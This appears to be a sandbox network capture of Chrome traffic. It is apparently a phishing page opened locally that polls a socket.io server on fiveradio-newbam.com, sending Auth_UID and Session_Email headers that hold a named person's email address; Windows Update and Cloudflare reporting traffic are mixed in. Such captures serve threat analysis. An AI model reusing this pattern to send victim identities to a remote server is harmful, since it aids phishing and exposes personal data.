Timestamp	Bytes transferred	Direction	Data
2024-06-20 11:54:57 UTC	723	OUT	POST /socket.io/?EIO=4&transport=polling&t=P0rV_5z&sid=-XpVHEs0MZpmriKRAAW2 HTTP/1.1 Host: fiveradio-newbam.com Connection: keep-alive Content-Length: 2 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Auth_UID: USER21052024UNIQUE1031052124202420240521311024 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-type: text/plain;charset=UTF-8 Accept: / Session_Email: michael.deretz@aftral.com sec-ch-ua-platform: "Windows" Origin: null Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-20 11:54:57 UTC	2	OUT	Data Raw: 34 30 Data Ascii: 40
2024-06-20 11:54:58 UTC	634	IN	HTTP/1.1 200 OK Date: Thu, 20 Jun 2024 11:54:58 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * cache-control: no-store CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Xg4ieh5ds%2F%2BmJN5iTZkwjxBLEr%2BDtVwPiC3I9TLi7VJfQzOWxFXabgnCce9Tdbkd%2B124k5K2XEvU6%2BRNNJ2ON8e0JYIrqE92ecSZ8DeKDISlWeOzjMjehvbH%2FJg3xJv9K1%2BuKo77tg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 896b91308a1f0f67-EWR alt-svc: h3=":443"; ma=86400
2024-06-20 11:54:58 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-06-20 11:54:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.16	49785	104.21.84.200	443	6332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-20 11:54:57 UTC	663	OUT	GET /socket.io/?EIO=4&transport=polling&t=P0rV_5-&sid=-XpVHEs0MZpmriKRAAW2 HTTP/1.1 Host: fiveradio-newbam.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: / Auth_UID: USER21052024UNIQUE1031052124202420240521311024 Session_Email: michael.deretz@aftral.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: null Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-20 11:54:58 UTC	641	IN	HTTP/1.1 200 OK Date: Thu, 20 Jun 2024 11:54:58 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 1 Connection: close Access-Control-Allow-Origin: * cache-control: no-store CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=96t8V1R%2FD6k5qcWg%2BYJLwO1QckUyTPNHT%2Fe4Tdf%2FtLSbF%2BSwQpr93iVusrbs%2BVPlZA%2FjqsNxHyTodP8uhpbRJlTmFBwP4balBbXyiF11UipRrSHd7p7aEn6mceN3US22iBqG4T7Hnw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 896b913088582395-EWR alt-svc: h3=":443"; ma=86400
2024-06-20 11:54:58 UTC	1	IN	Data Raw: 31 Data Ascii: 1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.16	49787	172.67.196.150	443	6332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-20 11:54:58 UTC	413	OUT	GET /socket.io/?EIO=4&transport=polling&t=P0rV_5z&sid=-XpVHEs0MZpmriKRAAW2 HTTP/1.1 Host: fiveradio-newbam.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-20 11:54:58 UTC	585	IN	HTTP/1.1 400 Bad Request Date: Thu, 20 Jun 2024 11:54:58 GMT Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QBlC0a1KDNvRNZSqRajyHNvu1pdzUVwGZzg%2BgFYBYWF804%2Bx2tkauw0IGwZ3nVA1CTLVn9GSpM6rAAIJgjo9qDGcEMejG%2BD0gTsZya6d65NKRuG6kbqxyO9oU8pJocYEhJQi3hdhrg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 896b91348b25c327-EWR alt-svc: h3=":443"; ma=86400
2024-06-20 11:54:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.16	49788	172.67.196.150	443	6332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-20 11:54:59 UTC	413	OUT	GET /socket.io/?EIO=4&transport=polling&t=P0rV_5-&sid=-XpVHEs0MZpmriKRAAW2 HTTP/1.1 Host: fiveradio-newbam.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-20 11:54:59 UTC	625	IN	HTTP/1.1 400 Bad Request Date: Thu, 20 Jun 2024 11:54:59 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TAVP6bQrUxF%2FSV8VheC7us0VIwwyavRF%2Feo7gnWuSBDEVul2i008sN4APLONjZlb1qKbM1fkae6s%2BFBIuOLb%2BdCiuh03BWjm45Nl6VBtY9%2BCyvpjC4R7CeP3FJt5lrO%2FxR1c%2BTR4yg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 896b913889e242c6-EWR alt-svc: h3=":443"; ma=86400
2024-06-20 11:54:59 UTC	47	IN	Data Raw: 32 39 0d 0a 7b 22 63 6f 64 65 22 3a 31 2c 22 6d 65 73 73 61 67 65 22 3a 22 53 65 73 73 69 6f 6e 20 49 44 20 75 6e 6b 6e 6f 77 6e 22 7d 0d 0a Data Ascii: 29{"code":1,"message":"Session ID unknown"}
2024-06-20 11:54:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.16	49794	104.21.84.200	443	6332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-20 11:55:04 UTC	663	OUT	GET / HTTP/1.1 Host: fiveradio-newbam.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-20 11:55:04 UTC	724	IN	HTTP/1.1 404 Not Found Date: Thu, 20 Jun 2024 11:55:04 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: Express Access-Control-Allow-Origin: * Content-Security-Policy: default-src 'none' X-Content-Type-Options: nosniff CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7BptAIFf0tNX4rJETPtezoOXKUYQ41gbY%2FEKIjpkTiuVqJS9I%2FjYA27iar7cxw7nuxqUOjR5s5HoL7v3CWG9kL6HdIjmMKyErL4u3kTM0UsjxDzrPH1p10KGBhjMCp0WySu%2FRF5NRA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 896b91585c48c440-EWR alt-svc: h3=":443"; ma=86400
2024-06-20 11:55:04 UTC	144	IN	Data Raw: 38 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 70 72 65 3e 43 61 6e 6e 6f 74 20 47 45 54 20 2f 3c 2f 70 72 65 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: 8a<!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><title>Error</title></head><body><pre>Cannot GET /</pre></body></html>
2024-06-20 11:55:04 UTC	6	IN	Data Raw: 31 0d 0a 0a 0d 0a Data Ascii: 1
2024-06-20 11:55:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.16	49797	20.114.59.183	443

Timestamp	Bytes transferred	Direction	Data
2024-06-20 11:55:10 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=5ryXU7UxaBcyhlc&MD=EsKP8uXc HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-06-20 11:55:10 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: a6a16652-307e-4aa6-a401-b1a59f07599c MS-RequestId: 0d95d314-358e-4950-9aa3-6fa0de8deef9 MS-CV: ZJW7bRup+Ua6ELLA.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Thu, 20 Jun 2024 11:55:09 GMT Connection: close Content-Length: 30005
2024-06-20 11:55:10 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-06-20 11:55:10 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.16	49810	35.190.80.1	443	6332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-20 11:55:32 UTC	559	OUT	OPTIONS /report/v4?s=TAVP6bQrUxF%2FSV8VheC7us0VIwwyavRF%2Feo7gnWuSBDEVul2i008sN4APLONjZlb1qKbM1fkae6s%2BFBIuOLb%2BdCiuh03BWjm45Nl6VBtY9%2BCyvpjC4R7CeP3FJt5lrO%2FxR1c%2BTR4yg%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://fiveradio-newbam.com Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-20 11:55:32 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: POST, OPTIONS access-control-allow-origin: * access-control-allow-headers: content-length, content-type date: Thu, 20 Jun 2024 11:55:32 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.16	49811	35.190.80.1	443	6332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-20 11:55:32 UTC	551	OUT	OPTIONS /report/v4?s=7BptAIFf0tNX4rJETPtezoOXKUYQ41gbY%2FEKIjpkTiuVqJS9I%2FjYA27iar7cxw7nuxqUOjR5s5HoL7v3CWG9kL6HdIjmMKyErL4u3kTM0UsjxDzrPH1p10KGBhjMCp0WySu%2FRF5NRA%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://fiveradio-newbam.com Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-20 11:55:32 UTC	336	IN	HTTP/1.1 200 OK content-length: 0 access-control-max-age: 86400 access-control-allow-methods: POST, OPTIONS access-control-allow-origin: * access-control-allow-headers: content-type, content-length date: Thu, 20 Jun 2024 11:55:32 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.16	49812	35.190.80.1	443	6332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-20 11:55:32 UTC	497	OUT	POST /report/v4?s=TAVP6bQrUxF%2FSV8VheC7us0VIwwyavRF%2Feo7gnWuSBDEVul2i008sN4APLONjZlb1qKbM1fkae6s%2BFBIuOLb%2BdCiuh03BWjm45Nl6VBtY9%2BCyvpjC4R7CeP3FJt5lrO%2FxR1c%2BTR4yg%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 3242 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-20 11:55:32 UTC	3242	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 34 37 31 38 33 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 36 33 34 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 37 32 2e 36 37 2e 31 39 36 2e 31 35 30 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 30 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 66 69 76 65 72 61 64 69 6f 2d 6e Data Ascii: [{"age":47183,"body":{"elapsed_time":634,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"","sampling_fraction":1.0,"server_ip":"172.67.196.150","status_code":400,"type":"http.error"},"type":"network-error","url":"https://fiveradio-n
2024-06-20 11:55:32 UTC	168	IN	HTTP/1.1 200 OK content-length: 0 date: Thu, 20 Jun 2024 11:55:32 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.16	49813	35.190.80.1	443	6332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-20 11:55:32 UTC	488	OUT	POST /report/v4?s=7BptAIFf0tNX4rJETPtezoOXKUYQ41gbY%2FEKIjpkTiuVqJS9I%2FjYA27iar7cxw7nuxqUOjR5s5HoL7v3CWG9kL6HdIjmMKyErL4u3kTM0UsjxDzrPH1p10KGBhjMCp0WySu%2FRF5NRA%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 835 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-20 11:55:32 UTC	835	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 32 37 33 31 37 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 36 32 35 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 30 34 2e 32 31 2e 38 34 2e 32 30 30 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 34 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 66 69 76 65 72 61 64 69 6f 2d 6e 65 Data Ascii: [{"age":27317,"body":{"elapsed_time":625,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"","sampling_fraction":1.0,"server_ip":"104.21.84.200","status_code":404,"type":"http.error"},"type":"network-error","url":"https://fiveradio-ne
2024-06-20 11:55:32 UTC	168	IN	HTTP/1.1 200 OK content-length: 0 date: Thu, 20 Jun 2024 11:55:32 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.16	49818	104.21.84.200	443	6332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-20 11:55:40 UTC	504	OUT	OPTIONS /socket.io/?EIO=4&transport=polling&t=P0rW9mQ HTTP/1.1 Host: fiveradio-newbam.com Connection: keep-alive Accept: / Access-Control-Request-Method: GET Access-Control-Request-Headers: auth_uid,session_email Origin: null User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-20 11:55:41 UTC	725	IN	HTTP/1.1 204 No Content Date: Thu, 20 Jun 2024 11:55:41 GMT Content-Length: 0 Connection: close Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET,HEAD,PUT,PATCH,POST,DELETE Vary: Access-Control-Request-Headers Access-Control-Allow-Headers: auth_uid,session_email CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=quE5JAQ29qu57PGrHSXWlj6bw8sZRGqYH7uM6BtYtWxVdGIHSyJupgDnvoQLXYmRgie31Kc3TNzRrLRGlGVC4jS7mqZnE5i7pmZ1g4w55GJk6ruEKVHQZ9%2FDBBsnHmBqZlvNDZocoA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 896b923d7ea541f2-EWR alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.16	49819	104.21.84.200	443	6332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-20 11:55:41 UTC	638	OUT	GET /socket.io/?EIO=4&transport=polling&t=P0rW9mQ HTTP/1.1 Host: fiveradio-newbam.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: / Auth_UID: USER21052024UNIQUE1031052124202420240521311024 Session_Email: michael.deretz@aftral.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: null Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-20 11:55:41 UTC	645	IN	HTTP/1.1 200 OK Date: Thu, 20 Jun 2024 11:55:41 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 118 Connection: close Access-Control-Allow-Origin: * cache-control: no-store CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Vv%2F3Pnvov0LbRoYmAAPz52%2FWdl7IlLi%2BeBbq3cLe2ZWJbn3QMn8GOiXZNFaR8NzgGSYw9KhNFLReIQAT5o2V8TtYvPhQ%2Bz1Csk4I5%2B7iTjaH%2Bx8SEgXGSSgxwq%2FlAahBmNc38T%2BfMQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 896b9241fbb242f4-EWR alt-svc: h3=":443"; ma=86400
2024-06-20 11:55:41 UTC	118	IN	Data Raw: 30 7b 22 73 69 64 22 3a 22 46 6a 6e 54 4d 52 65 4d 37 73 73 54 6e 7a 6b 4a 41 41 57 39 22 2c 22 75 70 67 72 61 64 65 73 22 3a 5b 22 77 65 62 73 6f 63 6b 65 74 22 5d 2c 22 70 69 6e 67 49 6e 74 65 72 76 61 6c 22 3a 32 35 30 30 30 2c 22 70 69 6e 67 54 69 6d 65 6f 75 74 22 3a 32 30 30 30 30 2c 22 6d 61 78 50 61 79 6c 6f 61 64 22 3a 31 30 30 30 30 30 30 7d Data Ascii: 0{"sid":"FjnTMReM7ssTnzkJAAW9","upgrades":["websocket"],"pingInterval":25000,"pingTimeout":20000,"maxPayload":1000000}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.16	49822	104.21.84.200	443	6332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-20 11:55:42 UTC	530	OUT	OPTIONS /socket.io/?EIO=4&transport=polling&t=P0rWA5s&sid=FjnTMReM7ssTnzkJAAW9 HTTP/1.1 Host: fiveradio-newbam.com Connection: keep-alive Accept: / Access-Control-Request-Method: POST Access-Control-Request-Headers: auth_uid,session_email Origin: null User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-20 11:55:42 UTC	735	IN	HTTP/1.1 204 No Content Date: Thu, 20 Jun 2024 11:55:42 GMT Content-Length: 0 Connection: close Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET,HEAD,PUT,PATCH,POST,DELETE Vary: Access-Control-Request-Headers Access-Control-Allow-Headers: auth_uid,session_email CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QMSXeKrUjY%2BqFlDYJOZgBFtg9%2Bqkfsxa6j9Fgulc4Otkg2D%2B0k3QExrp028xM35XBGn%2B85%2FBXZWua5eWeWwrqIdvbn8g8KboEgOulBJrvnmONCIXlDkTyrpEwX5xz%2FlO0FbMyU9iYA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 896b92460f4243b7-EWR alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.16	49824	104.21.84.200	443	6332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-20 11:55:42 UTC	529	OUT	OPTIONS /socket.io/?EIO=4&transport=polling&t=P0rWA5u&sid=FjnTMReM7ssTnzkJAAW9 HTTP/1.1 Host: fiveradio-newbam.com Connection: keep-alive Accept: / Access-Control-Request-Method: GET Access-Control-Request-Headers: auth_uid,session_email Origin: null User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
